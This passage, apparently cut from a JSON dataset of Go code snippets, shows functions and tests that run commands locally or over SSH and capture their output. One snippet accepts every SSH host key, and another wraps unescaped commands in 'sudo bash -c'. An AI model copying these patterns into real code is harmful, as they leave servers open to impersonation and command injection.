{\\n\\t\\tlog.Fatal(\\\"Failed to run: \\\" + err.Error())\\n\\t}\\n\\tfmt.Println(\\\"\\\\x1b[31;1m\\\" + remote_host + \\\"\\\\x1b[0m\\\")\\n\\treturn b.String()\\n}\",\n \"func (self *Client) RunCommand(cmd *Command) (string, []error) {\\n var (\\n output string\\n errs []error\\n )\\n\\n //- Compile our \\\"Valid\\\" and \\\"Error\\\" REGEX patterns, if not done already.\\n // This will allow us to reuse it with compiling it every time.\\n cmd.CompileCmdRegex()\\n\\n\\tcmd.LogCommandConfig() //- DEBUG\\n\\n //- \\\"Write\\\" the command to the remote SSH session.\\n self.StdinPipe.Write([]byte(cmd.Exec))\\n\\n //- Loop until we've gotten all output from the remote SSH Session.\\n done := false\\n lastError := \\\"\\\"\\n for done != true {\\n b, _ := self.StdoutPipe.ReadByte()\\n output = output + string(b)\\n\\n //- Check for errors, if we have any ErrorPatterns to test.\\n if len(cmd.ErrorPatterns) > 0 {\\n if matchedError, errDesc := testRegex(output, cmd.ErrorRegex); matchedError == true {\\n if lastError != errDesc {\\n errs = append(errs, fmt.Errorf(\\\"Matched error pattern: %s\\\", errDesc))\\n lastError = errDesc\\n }\\n }\\n }\\n\\n //- Check for Valid output. Continue retrieving bytes until we see a\\n // \\\"valid\\\" pattern.\\n if done, _ = testRegex(output, cmd.ValidRegex); done == true {\\n //- Make sure there isn't any more left to read.\\n//\\t\\t\\ttime.Sleep(time.Second)\\n if buff := self.StdoutPipe.Buffered(); buff != 0 {\\n done = false\\n }\\n }\\n }\\n\\n return output, errs\\n}\",\n \"func (this Scanner) executeCommand(cmd string, session *ssh.Session) (string, error) {\\n\\t//Runs CombinedOutput, which takes cmd and returns stderr and stdout of the command\\n\\tout, err := session.CombinedOutput(cmd)\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", err\\n\\t}\\n\\n\\t// Convert our output to a string\\n\\ttmpOut := string(out)\\n\\ttmpOut = strings.Replace(tmpOut, \\\"\\\\n\\\", \\\"
\\\", -1)\\n\\n\\t// Return a string version of our result\\n\\treturn tmpOut, nil\\n}\",\n \"func TestSessionCombinedOutput(t *testing.T) {\\n\\tconn := dial(fixedOutputHandler, t)\\n\\tdefer conn.Close()\\n\\tsession, err := conn.NewSession()\\n\\tif err != nil {\\n\\t\\tt.Fatalf(\\\"Unable to request new session: %v\\\", err)\\n\\t}\\n\\tdefer session.Close()\\n\\n\\tbuf, err := session.CombinedOutput(\\\"\\\") // cmd is ignored by fixedOutputHandler\\n\\tif err != nil {\\n\\t\\tt.Error(\\\"Remote command did not exit cleanly:\\\", err)\\n\\t}\\n\\tconst stdout = \\\"this-is-stdout.\\\"\\n\\tconst stderr = \\\"this-is-stderr.\\\"\\n\\tg := string(buf)\\n\\tif g != stdout+stderr && g != stderr+stdout {\\n\\t\\tt.Error(\\\"Remote command did not return expected string:\\\")\\n\\t\\tt.Logf(\\\"want %q, or %q\\\", stdout+stderr, stderr+stdout)\\n\\t\\tt.Logf(\\\"got %q\\\", g)\\n\\t}\\n}\",\n \"func (ctsssto ConnectToSourceSQLServerTaskOutput) AsConnectToSourceSQLServerTaskOutput() (*ConnectToSourceSQLServerTaskOutput, bool) {\\n\\treturn &ctsssto, true\\n}\",\n \"func (ctssstoll ConnectToSourceSQLServerTaskOutputLoginLevel) AsConnectToSourceSQLServerTaskOutput() (*ConnectToSourceSQLServerTaskOutput, bool) {\\n\\treturn nil, false\\n}\",\n \"func (t *TestCluster) SSH(m platform.Machine, cmd string) ([]byte, error) {\\n\\tvar stdout, stderr []byte\\n\\tvar err error\\n\\tf := func() {\\n\\t\\tstdout, stderr, err = m.SSH(cmd)\\n\\t}\\n\\n\\terrMsg := fmt.Sprintf(\\\"ssh: %s\\\", cmd)\\n\\t// If f does not before the test timeout, the RunWithExecTimeoutCheck\\n\\t// will end this goroutine and mark the test as failed\\n\\tt.H.RunWithExecTimeoutCheck(f, errMsg)\\n\\tif len(stderr) > 0 {\\n\\t\\tfor _, line := range strings.Split(string(stderr), \\\"\\\\n\\\") {\\n\\t\\t\\tt.Log(line)\\n\\t\\t}\\n\\t}\\n\\treturn stdout, err\\n}\",\n \"func Test_SSH(t *testing.T) {\\n\\tvar cipherList []string\\n\\tsession, err := connect(username, password, ip, key, port, cipherList, nil)\\n\\tif err != nil {\\n\\t\\tt.Error(err)\\n\\t\\treturn\\n\\t}\\n\\tdefer session.Close()\\n\\n\\tcmdlist := strings.Split(cmd, \\\";\\\")\\n\\tstdinBuf, err := session.StdinPipe()\\n\\tif err != nil {\\n\\t\\tt.Error(err)\\n\\t\\treturn\\n\\t}\\n\\n\\tvar outbt, errbt bytes.Buffer\\n\\tsession.Stdout = &outbt\\n\\n\\tsession.Stderr = &errbt\\n\\terr = session.Shell()\\n\\tif err != nil {\\n\\t\\tt.Error(err)\\n\\t\\treturn\\n\\t}\\n\\tfor _, c := range cmdlist {\\n\\t\\tc = c + \\\"\\\\n\\\"\\n\\t\\tstdinBuf.Write([]byte(c))\\n\\n\\t}\\n\\tsession.Wait()\\n\\tt.Log((outbt.String() + errbt.String()))\\n\\treturn\\n}\",\n \"func (res *ExecResult) stdout() string {\\n\\treturn res.outBuffer.String()\\n}\",\n \"func (v *vcsCmd) runOutput(dir string, cmd string, keyval ...string) ([]byte, error) {\\n\\treturn v.run1(dir, cmd, keyval, true)\\n}\",\n \"func (sc *SSHClient) Command(cmd string) (io.Reader, error) {\\n\\tfmt.Println(cmd)\\n\\tsession, err := sc.client.NewSession()\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tdefer session.Close()\\n\\tout, err := session.StdoutPipe()\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tbuf := &bytes.Buffer{}\\n\\twriter := io.MultiWriter(os.Stdout, buf)\\n\\tgo io.Copy(writer, out)\\n\\touterr, err := session.StderrPipe()\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tgo io.Copy(os.Stderr, outerr)\\n\\terr = session.Run(cmd)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn buf, nil\\n}\",\n \"func (ins *EC2RemoteClient) RunCommandWithOutput(cmd string) (exitStatus int, stdoutBuf bytes.Buffer, stderrBuf bytes.Buffer, err error) {\\n\\texitStatus, stdoutBuf, stderrBuf, err = ins.cmdClient.RunCommandWithOutput(cmd)\\n\\treturn exitStatus, stdoutBuf, stderrBuf, err\\n}\",\n \"func (e *SSHExecutor) Execute(cmd string, sudo bool, timeout ...time.Duration) ([]byte, []byte, error) {\\n\\t// try to acquire root permission\\n\\tif e.Sudo || sudo {\\n\\t\\tcmd = fmt.Sprintf(\\\"sudo -H -u root bash -c \\\\\\\"%s\\\\\\\"\\\", cmd)\\n\\t}\\n\\n\\t// set a basic PATH in case it's empty on login\\n\\tcmd = fmt.Sprintf(\\\"PATH=$PATH:/usr/bin:/usr/sbin %s\\\", cmd)\\n\\n\\tif e.Locale != \\\"\\\" {\\n\\t\\tcmd = fmt.Sprintf(\\\"export LANG=%s; %s\\\", e.Locale, cmd)\\n\\t}\\n\\n\\t// run command on remote host\\n\\t// default timeout is 60s in easyssh-proxy\\n\\tif len(timeout) == 0 {\\n\\t\\ttimeout = append(timeout, executeDefaultTimeout)\\n\\t}\\n\\n\\tstdout, stderr, done, err := e.Config.Run(cmd, timeout...)\\n\\n\\tzap.L().Info(\\\"SSHCommand\\\",\\n\\t\\tzap.String(\\\"host\\\", e.Config.Server),\\n\\t\\tzap.String(\\\"port\\\", e.Config.Port),\\n\\t\\tzap.String(\\\"cmd\\\", cmd),\\n\\t\\tzap.Error(err),\\n\\t\\tzap.String(\\\"stdout\\\", stdout),\\n\\t\\tzap.String(\\\"stderr\\\", stderr))\\n\\n\\tif err != nil {\\n\\t\\tbaseErr := ErrSSHExecuteFailed.\\n\\t\\t\\tWrap(err, \\\"Failed to execute command over SSH for '%s@%s:%s'\\\", e.Config.User, e.Config.Server, e.Config.Port).\\n\\t\\t\\tWithProperty(ErrPropSSHCommand, cmd).\\n\\t\\t\\tWithProperty(ErrPropSSHStdout, stdout).\\n\\t\\t\\tWithProperty(ErrPropSSHStderr, stderr)\\n\\t\\tif len(stdout) > 0 || len(stderr) > 0 {\\n\\t\\t\\toutput := strings.TrimSpace(strings.Join([]string{stdout, stderr}, \\\"\\\\n\\\"))\\n\\t\\t\\tbaseErr = baseErr.\\n\\t\\t\\t\\tWithProperty(cliutil.SuggestionFromFormat(\\\"Command output on remote host %s:\\\\n%s\\\\n\\\",\\n\\t\\t\\t\\t\\te.Config.Server,\\n\\t\\t\\t\\t\\tcolor.YellowString(output)))\\n\\t\\t}\\n\\t\\treturn []byte(stdout), []byte(stderr), baseErr\\n\\t}\\n\\n\\tif !done { // timeout case,\\n\\t\\treturn []byte(stdout), []byte(stderr), ErrSSHExecuteTimedout.\\n\\t\\t\\tWrap(err, \\\"Execute command over SSH timedout for '%s@%s:%s'\\\", e.Config.User, e.Config.Server, e.Config.Port).\\n\\t\\t\\tWithProperty(ErrPropSSHCommand, cmd).\\n\\t\\t\\tWithProperty(ErrPropSSHStdout, stdout).\\n\\t\\t\\tWithProperty(ErrPropSSHStderr, stderr)\\n\\t}\\n\\n\\treturn []byte(stdout), []byte(stderr), nil\\n}\",\n \"func (h *Host) Exec(cmd string) error {\\n\\tsession, err := h.sshClient.NewSession()\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tdefer session.Close()\\n\\n\\tstdout, err := session.StdoutPipe()\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tstderr, err := session.StderrPipe()\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tlogrus.Debugf(\\\"executing command: %s\\\", cmd)\\n\\tif err := session.Start(cmd); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tmultiReader := io.MultiReader(stdout, stderr)\\n\\toutputScanner := bufio.NewScanner(multiReader)\\n\\n\\tfor outputScanner.Scan() {\\n\\t\\tlogrus.Debugf(\\\"%s: %s\\\", h.FullAddress(), outputScanner.Text())\\n\\t}\\n\\tif err := outputScanner.Err(); err != nil {\\n\\t\\tlogrus.Errorf(\\\"%s: %s\\\", h.FullAddress(), err.Error())\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func sshconnect(n *Node) (*ssh.Session, error) {\\n\\tuser := n.UserName\\n\\thost := n.Addr\\n\\tport := 22\\n\\n\\tvar (\\n\\t\\tauth []ssh.AuthMethod\\n\\t\\taddr string\\n\\t\\tclientConfig *ssh.ClientConfig\\n\\t\\tclient *ssh.Client\\n\\t\\tsession *ssh.Session\\n\\t\\terr error\\n\\t)\\n\\n\\t// Get auth method\\n\\tif n.AuthMethod == \\\"privateKey\\\" {\\n\\t\\tauth = make([]ssh.AuthMethod, 0)\\n\\t\\tauth = append(auth, publicKeyAuthFunc(n.PrivateKey))\\n\\t} else if n.AuthMethod == \\\"password\\\" {\\n\\t\\tauth = make([]ssh.AuthMethod, 0)\\n\\t\\tauth = append(auth, ssh.Password(n.Password))\\n\\t}\\n\\n\\thostKeyCallbk := func(hostname string, remote net.Addr, key ssh.PublicKey) error {\\n\\t\\treturn nil\\n\\t}\\n\\n\\tclientConfig = &ssh.ClientConfig{\\n\\t\\tUser: user,\\n\\t\\tAuth: auth,\\n\\t\\tTimeout: 30 * time.Second,\\n\\t\\tHostKeyCallback: hostKeyCallbk,\\n\\t}\\n\\n\\t// connet to ssh\\n\\taddr = fmt.Sprintf(\\\"%s:%d\\\", host, port)\\n\\n\\tif client, err = ssh.Dial(\\\"tcp\\\", addr, clientConfig); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\t// create session\\n\\tif session, err = client.NewSession(); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\treturn session, nil\\n}\",\n \"func ExecuteWithOutput(cmd *exec.Cmd) (outStr string, err error) {\\n\\t// connect to stdout and stderr for filtering purposes\\n\\terrPipe, err := cmd.StderrPipe()\\n\\tif err != nil {\\n\\t\\tlog.WithFields(log.Fields{\\n\\t\\t\\t\\\"cmd\\\": cmd.Args,\\n\\t\\t}).Fatal(\\\"Couldn't connect to command's stderr\\\")\\n\\t}\\n\\toutPipe, err := cmd.StdoutPipe()\\n\\tif err != nil {\\n\\t\\tlog.WithFields(log.Fields{\\n\\t\\t\\t\\\"cmd\\\": cmd.Args,\\n\\t\\t}).Fatal(\\\"Couldn't connect to command's stdout\\\")\\n\\t}\\n\\t_ = bufio.NewReader(errPipe)\\n\\toutReader := bufio.NewReader(outPipe)\\n\\n\\t// start the command and filter the output\\n\\tif err = cmd.Start(); err != nil {\\n\\t\\treturn \\\"\\\", err\\n\\t}\\n\\toutScanner := bufio.NewScanner(outReader)\\n\\tfor outScanner.Scan() {\\n\\t\\toutStr += outScanner.Text() + \\\"\\\\n\\\"\\n\\t\\tif log.GetLevel() == log.DebugLevel {\\n\\t\\t\\tfmt.Println(outScanner.Text())\\n\\t\\t}\\n\\t}\\n\\terr = cmd.Wait()\\n\\treturn outStr, err\\n}\",\n \"func lisp_command_output(command string) string {\\n\\tcmd := exec.Command(command)\\n\\tout, err := cmd.CombinedOutput()\\n\\tif (err != nil) {\\n\\t\\treturn(\\\"\\\")\\n\\t}\\n\\toutput := string(out)\\n\\treturn(output[0:len(output)-1])\\n}\",\n \"func (bc *BaseCluster) SSH(m Machine, cmd string) ([]byte, []byte, error) {\\n\\tvar stdout bytes.Buffer\\n\\tvar stderr bytes.Buffer\\n\\tclient, err := bc.SSHClient(m.IP())\\n\\tif err != nil {\\n\\t\\treturn nil, nil, err\\n\\t}\\n\\tdefer client.Close()\\n\\n\\tsession, err := client.NewSession()\\n\\tif err != nil {\\n\\t\\treturn nil, nil, err\\n\\t}\\n\\tdefer session.Close()\\n\\n\\tsession.Stdout = &stdout\\n\\tsession.Stderr = &stderr\\n\\terr = session.Run(cmd)\\n\\toutBytes := bytes.TrimSpace(stdout.Bytes())\\n\\terrBytes := bytes.TrimSpace(stderr.Bytes())\\n\\treturn outBytes, errBytes, err\\n}\",\n \"func (c *SSHCommand) StdoutPipe() (io.ReadCloser, error) {\\n\\treturn c.cmd.StdoutPipe()\\n}\",\n \"func (sshClient *SSHClient) Execute(cmdList []string) []string {\\n\\n\\tsession, err := sshClient.connect()\\n\\tif err != nil {\\n\\t\\tlog.Fatal(err)\\n\\t}\\n\\n\\tdefer session.Close()\\n\\n\\tlog.Println(\\\"Connected.\\\")\\n\\n\\tmodes := ssh.TerminalModes{\\n\\t\\tssh.ECHO: 0, // 0:disable echo\\n\\t\\tssh.TTY_OP_ISPEED: 14400 * 1024, // input speed = 14.4kbaud\\n\\t\\tssh.TTY_OP_OSPEED: 14400 * 1024, //output speed = 14.4kbaud\\n\\t}\\n\\tif err1 := session.RequestPty(\\\"linux\\\", 64, 200, modes); err1 != nil {\\n\\t\\tlog.Fatalf(\\\"request pty error: %s\\\\n\\\", err1.Error())\\n\\t}\\n\\n\\tlog.Println(\\\"PtyRequested.\\\")\\n\\n\\tw, err := session.StdinPipe()\\n\\tif err != nil {\\n\\t\\tpanic(err)\\n\\t}\\n\\tr, err := session.StdoutPipe()\\n\\tif err != nil {\\n\\t\\tpanic(err)\\n\\t}\\n\\te, err := session.StderrPipe()\\n\\tif err != nil {\\n\\t\\tpanic(err)\\n\\t}\\n\\n\\tin, out := sshClient.MuxShell(w, r, e)\\n\\tif err := session.Shell(); err != nil {\\n\\t\\tlog.Fatal(err)\\n\\t}\\n\\n\\t//<-out\\n\\tsWelcome := <-out\\n\\tlog.Printf(\\\"Welcome:%s\\\\n\\\", sWelcome) //ignore the shell output\\n\\n\\tvar ret []string\\n\\n\\tfor _, cmd := range cmdList {\\n\\t\\tlog.Printf(\\\"Exec %v\\\\n\\\", cmd)\\n\\n\\t\\tin <- cmd\\n\\n\\t\\tsOut := <-out\\n\\t\\tlog.Printf(\\\"Result-%s\\\\n\\\", sOut)\\n\\t\\tret = append(ret, sOut)\\n\\t}\\n\\n\\tin <- sshClient.ExitCmd\\n\\t_ = <-out\\n\\tsession.Wait()\\n\\n\\treturn ret\\n}\",\n \"func (c *Cmd) Output() ([]byte, error) {\\n\\treturn c.Cmd.Output()\\n}\",\n \"func execCmdWithOutput(arg0 string, args ...string) (string, error) {\\n\\tcmd := exec.Command(arg0, args...)\\n\\tstdout, err := cmd.StdoutPipe()\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", err\\n\\t}\\n\\n\\tif cmd_err := cmd.Start(); cmd_err != nil {\\n\\t\\treturn \\\"\\\", cmd_err\\n\\t}\\n\\n\\toutput, err_out := ioutil.ReadAll(stdout)\\n\\tif err_out != nil {\\n\\t\\treturn \\\"\\\", err_out\\n\\t}\\n\\n\\treturn string(output), nil\\n}\",\n \"func (ctssstotl ConnectToSourceSQLServerTaskOutputTaskLevel) AsConnectToSourceSQLServerTaskOutput() (*ConnectToSourceSQLServerTaskOutput, bool) {\\n\\treturn nil, false\\n}\",\n \"func (c Command) Output(args ...string) ([]byte, error) {\\n\\treturn c.builder().Output(args...)\\n}\",\n \"func (sc *sshclient) RunWithResults(address string, command string) (string, error) {\\n\\tclient, err := ssh.Dial(\\\"tcp\\\", address, sc.config)\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", fmt.Errorf(\\\"Could not connect to address %s:%v \\\", address, err)\\n\\t}\\n\\n\\t// Each ClientConn can support multiple interactive sessions,\\n\\t// represented by a Session.\\n\\tsession, err := client.NewSession()\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", fmt.Errorf(\\\"Could not create session at address %s:%v \\\", address, err)\\n\\t}\\n\\tdefer session.Close()\\n\\n\\tresultdata, err := session.Output(command)\\n\\tif err != nil {\\n\\t\\treturn string(resultdata), fmt.Errorf(\\\"Command '%s' at address %s produced an error:%v \\\", command, address, err)\\n\\t}\\n\\n\\treturn string(resultdata), nil\\n}\",\n \"func SSHConnect() {\\n\\tcommand := \\\"uptime\\\"\\n\\tvar usInfo userInfo\\n\\tvar kP keyPath\\n\\tkey, err := ioutil.ReadFile(kP.privetKey)\\n\\tif err != nil {\\n\\t\\tlog.Fatal(err)\\n\\t}\\n\\tsigner, err := ssh.ParsePrivateKey(key)\\n\\tif err != nil {\\n\\t\\tlog.Fatal(err)\\n\\t}\\n\\thostKeyCallBack, err := knownhosts.New(kP.knowHost)\\n\\tif err != nil {\\n\\t\\tlog.Fatal(err)\\n\\t}\\n\\tconfig := &ssh.ClientConfig{\\n\\t\\tUser: usInfo.user,\\n\\t\\tAuth: []ssh.AuthMethod{\\n\\t\\t\\tssh.PublicKeys(signer),\\n\\t\\t},\\n\\t\\tHostKeyCallback: hostKeyCallBack,\\n\\t}\\n\\tclient, err := ssh.Dial(\\\"tcp\\\", usInfo.servIP+\\\":\\\"+usInfo.port, config)\\n\\tif err != nil {\\n\\t\\tlog.Fatal(err)\\n\\t}\\n\\tdefer client.Close()\\n\\tss, err := client.NewSession()\\n\\tif err != nil {\\n\\t\\tlog.Fatal(err)\\n\\t}\\n\\tdefer ss.Close()\\n\\tvar stdoutBuf bytes.Buffer\\n\\tss.Stdout = &stdoutBuf\\n\\tss.Run(command)\\n\\tfmt.Println(stdoutBuf.String())\\n}\",\n \"func call_ssh(cmd string, user string, hosts []string) (result string, error bool) {\\n\\tresults := make(chan string, 100)\\n\\ttimeout := time.After(5 * time.Second)\\n\\n\\tfor _, hostname := range hosts {\\n\\t\\tgo func(hostname string) {\\n\\t\\t\\tresults <- remote_runner.ExecuteCmd(cmd, user, hostname)\\n\\t\\t}(hostname)\\n\\t}\\n\\n\\tfor i := 0; i < len(hosts); i++ {\\n\\t\\tselect {\\n\\t\\tcase res := <-results:\\n\\t\\t\\t//fmt.Print(res)\\n\\t\\t\\tresult = res\\n\\t\\t\\terror = false\\n\\t\\tcase <-timeout:\\n\\t\\t\\t//fmt.Println(\\\"Timed out!\\\")\\n\\t\\t\\tresult = \\\"Time out!\\\"\\n\\t\\t\\terror = true\\n\\t\\t}\\n\\t}\\n\\treturn\\n}\",\n \"func RunCommandWithOutputLiveWrapper(c *OSCommand, command string, output func(string) string) error {\\n\\tcmd := c.ExecutableFromString(command)\\n\\tcmd.Env = append(cmd.Env, \\\"LANG=en_US.UTF-8\\\", \\\"LC_ALL=en_US.UTF-8\\\")\\n\\n\\tvar stderr bytes.Buffer\\n\\tcmd.Stderr = &stderr\\n\\n\\tptmx, err := pty.Start(cmd)\\n\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tgo func() {\\n\\t\\tscanner := bufio.NewScanner(ptmx)\\n\\t\\tscanner.Split(scanWordsWithNewLines)\\n\\t\\tfor scanner.Scan() {\\n\\t\\t\\ttoOutput := strings.Trim(scanner.Text(), \\\" \\\")\\n\\t\\t\\t_, _ = ptmx.WriteString(output(toOutput))\\n\\t\\t}\\n\\t}()\\n\\n\\terr = cmd.Wait()\\n\\tptmx.Close()\\n\\tif err != nil {\\n\\t\\treturn errors.New(stderr.String())\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func ExecCmdAndGetOutput(cmd string) string {\\n\\tfields, err := shlex.Split(cmd)\\n\\tif err != nil {\\n\\t\\tlog.Fatal(err)\\n\\t}\\n\\tbytes, err := exec.Command(fields[0], fields[1:]...).Output() // waits for it to complete\\n\\ts := strings.TrimSpace(string(bytes))\\n\\tif err != nil {\\n\\t\\tlog.Fatal(err)\\n\\t}\\n\\treturn s\\n}\",\n \"func TestSessionOutput(t *testing.T) {\\n\\tconn := dial(fixedOutputHandler, t)\\n\\tdefer conn.Close()\\n\\tsession, err := conn.NewSession()\\n\\tif err != nil {\\n\\t\\tt.Fatalf(\\\"Unable to request new session: %v\\\", err)\\n\\t}\\n\\tdefer session.Close()\\n\\n\\tbuf, err := session.Output(\\\"\\\") // cmd is ignored by fixedOutputHandler\\n\\tif err != nil {\\n\\t\\tt.Error(\\\"Remote command did not exit cleanly:\\\", err)\\n\\t}\\n\\tw := \\\"this-is-stdout.\\\"\\n\\tg := string(buf)\\n\\tif g != w {\\n\\t\\tt.Error(\\\"Remote command did not return expected string:\\\")\\n\\t\\tt.Logf(\\\"want %q\\\", w)\\n\\t\\tt.Logf(\\\"got %q\\\", g)\\n\\t}\\n}\",\n \"func executeCommandCapturingStdout(args ...string) (string, string) {\\n\\n\\t// We substitute our own pipe for stdout to collect the terminal output\\n\\t// but must be careful to always restore stadt and close the pripe files.\\n\\toriginalStdout := os.Stdout\\n\\treadFile, writeFile, err := os.Pipe()\\n\\tif err != nil {\\n\\t\\tfmt.Printf(\\\"Could not capture stdout: %s\\\", err.Error())\\n\\t\\tos.Exit(1)\\n\\t}\\n\\n\\t// Be careful to both put stdout back in its proper place, and restore any\\n\\t// tricks that we played on our child packages to get them to cooperate in our testing.\\n\\tdefer func() {\\n\\n\\t\\t// Restore stdout piping\\n\\t\\tos.Stdout = originalStdout\\n\\t\\twriteFile.Close()\\n\\t\\treadFile.Close()\\n\\t}()\\n\\n\\t// Set our own pipe as stdout\\n\\tos.Stdout = writeFile\\n\\n\\t// Run the command with a random token value that does not matter because we won't actually\\n\\t// be calling AWS and so it won't be able to object\\n\\toutput := executeCommand(args...)\\n\\n\\t// Restore stdout and close the write end of the pipe so that we can collect the output\\n\\tos.Stdout = originalStdout\\n\\twriteFile.Close()\\n\\n\\t// Gather the output into a byte buffer\\n\\toutputBytes, err := ioutil.ReadAll(readFile)\\n\\tif err != nil {\\n\\t\\tfmt.Printf(\\\"Failed to read pipe for stdout: : %s\\\", err.Error())\\n\\t\\tos.Exit(1)\\n\\t}\\n\\n\\t// Return the executeCommand output and stdout\\n\\treturn output, string(outputBytes)\\n}\",\n \"func (c *Client) Exec(cmd string) ([]byte, error) {\\n\\tsession, err := c.SSHClient.NewSession()\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tdefer session.Close()\\n\\n\\treturn session.CombinedOutput(cmd)\\n}\",\n \"func ExceCmdReturnOutput(cmd string) string {\\n\\tout, err := exec.Command(\\\"sh\\\", \\\"-c\\\", cmd).Output()\\n\\tif err != nil {\\n\\t\\tfmt.Printf(\\\"Error with cmd: %s\\\\n\\\", cmd)\\n\\t}\\n\\n\\tCheck(err)\\n\\n\\treturn string(out)\\n}\",\n \"func ForwardCmdOutput() func(*exec.Cmd) error {\\n\\treturn func(cmd *exec.Cmd) error {\\n\\t\\tcmd.Stderr = os.Stderr\\n\\t\\tcmd.Stdout = os.Stdout\\n\\t\\treturn nil\\n\\t}\\n}\",\n \"func executeWithOutput(cmd string, args ...string) string {\\n\\tout, err := exec.Command(cmd, args...).Output()\\n\\tif err != nil {\\n\\t\\tlog.Fatalf(\\\"%s\\\", err)\\n\\t}\\n\\treturn string(out)\\n}\",\n \"func CmdOut(command string) (string, error) {\\r\\n\\treturn cmdOut(command)\\r\\n}\",\n \"func (ctssstoll ConnectToSourceSQLServerTaskOutputLoginLevel) AsBasicConnectToSourceSQLServerTaskOutput() (BasicConnectToSourceSQLServerTaskOutput, bool) {\\n\\treturn &ctssstoll, true\\n}\",\n \"func (d *portworx) GetPxctlCmdOutput(n node.Node, command string) (string, error) {\\n\\topts := node.ConnectionOpts{\\n\\t\\tIgnoreError: false,\\n\\t\\tTimeBeforeRetry: defaultRetryInterval,\\n\\t\\tTimeout: defaultTimeout,\\n\\t}\\n\\n\\treturn d.GetPxctlCmdOutputConnectionOpts(n, command, opts, true)\\n}\",\n \"func (ctssstoajl ConnectToSourceSQLServerTaskOutputAgentJobLevel) AsConnectToSourceSQLServerTaskOutput() (*ConnectToSourceSQLServerTaskOutput, bool) {\\n\\treturn nil, false\\n}\",\n \"func Exec(config *ssh.ClientConfig, addr string, workDir string, cmd string, nixConf string) (bytes.Buffer, error) {\\n\\tvar b bytes.Buffer // import \\\"bytes\\\"\\n\\n\\t// Connect\\n\\tclient, err := ssh.Dial(\\\"tcp\\\", net.JoinHostPort(addr, \\\"22\\\"), config)\\n\\tif err != nil {\\n\\t\\treturn b, err\\n\\t}\\n\\t// Create a session. It is one session per command.\\n\\tsession, err := client.NewSession()\\n\\tif err != nil {\\n\\t\\treturn b, err\\n\\t}\\n\\tdefer session.Close()\\n\\n\\tsession.Stderr = os.Stderr // get output\\n\\tsession.Stdout = &b // get output\\n\\t// you can also pass what gets input to the stdin, allowing you to pipe\\n\\t// content from client to server\\n\\t// session.Stdin = bytes.NewBufferString(\\\"My input\\\")\\n\\n\\t// Finally, run the command\\n\\tfullCmd := \\\". ~/.nix-profile/etc/profile.d/nix.sh && cd \\\" + workDir + \\\" && nix-shell \\\" + nixConf + \\\" --command '\\\" + cmd + \\\"'\\\"\\n\\tfmt.Println(fullCmd)\\n\\terr = session.Run(fullCmd)\\n\\treturn b, err\\n}\",\n \"func ExecCmdAndSeeOutput(command string) {\\n\\tfields, err := shlex.Split(command)\\n\\tif err != nil {\\n\\t\\tlog.Fatal(err)\\n\\t}\\n\\tcmd := exec.Command(fields[0], fields[1:]...)\\n\\tcmd.Stdout = os.Stdout\\n\\tcmd.Stderr = os.Stderr\\n\\terr = cmd.Run() // waits for it to complete\\n\\tif err != nil {\\n\\t\\tlog.Fatal(err)\\n\\t}\\n}\",\n \"func CmdCombinedOutputWithTimeout(timeout time.Duration, cmd *exec.Cmd) ([]byte, error) {\\n\\tif cmd.Stdout != nil {\\n\\t\\treturn nil, errors.New(\\\"exec: Stdout already set\\\")\\n\\t}\\n\\tif cmd.Stderr != nil {\\n\\t\\treturn nil, errors.New(\\\"exec: Stderr already set\\\")\\n\\t}\\n\\tvar b bytes.Buffer\\n\\tcmd.Stdout = &b\\n\\tcmd.Stderr = &b\\n\\tc := make(chan error, 1)\\n\\tif err := cmd.Start(); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tgo func() {\\n\\t\\tc <- cmd.Wait()\\n\\t}()\\n\\tselect {\\n\\tcase <-time.After(timeout):\\n\\t\\tcmd.Process.Kill()\\n\\t\\treturn b.Bytes(), ErrCmdTimeout\\n\\tcase err := <-c:\\n\\t\\treturn b.Bytes(), err\\n\\t}\\n}\",\n \"func (d *portworx) GetPxctlCmdOutputConnectionOpts(n node.Node, command string, opts node.ConnectionOpts, retry bool) (string, error) {\\n\\tpxctlPath := d.getPxctlPath(n)\\n\\t// Create context\\n\\tif len(d.token) > 0 {\\n\\t\\t_, err := d.nodeDriver.RunCommand(n, fmt.Sprintf(\\\"%s context create admin --token=%s\\\", pxctlPath, d.token), opts)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn \\\"\\\", fmt.Errorf(\\\"failed to create pxctl context. cause: %v\\\", err)\\n\\t\\t}\\n\\t}\\n\\n\\tvar (\\n\\t\\tout string\\n\\t\\terr error\\n\\t)\\n\\n\\tcmd := fmt.Sprintf(\\\"%s %s\\\", pxctlPath, command)\\n\\tif retry {\\n\\t\\tout, err = d.nodeDriver.RunCommand(n, cmd, opts)\\n\\t} else {\\n\\t\\tout, err = d.nodeDriver.RunCommandWithNoRetry(n, cmd, opts)\\n\\t}\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", fmt.Errorf(\\\"failed to get pxctl status. cause: %v\\\", err)\\n\\t}\\n\\n\\t// Delete context\\n\\tif len(d.token) > 0 {\\n\\t\\t_, err := d.nodeDriver.RunCommand(n, fmt.Sprintf(\\\"%s context delete admin\\\", pxctlPath), opts)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn \\\"\\\", fmt.Errorf(\\\"failed to delete pxctl context. cause: %v\\\", err)\\n\\t\\t}\\n\\t}\\n\\n\\treturn out, nil\\n}\",\n \"func (s *SSHClient) Execute(host, cmd string) (string, error) {\\n\\thostname := 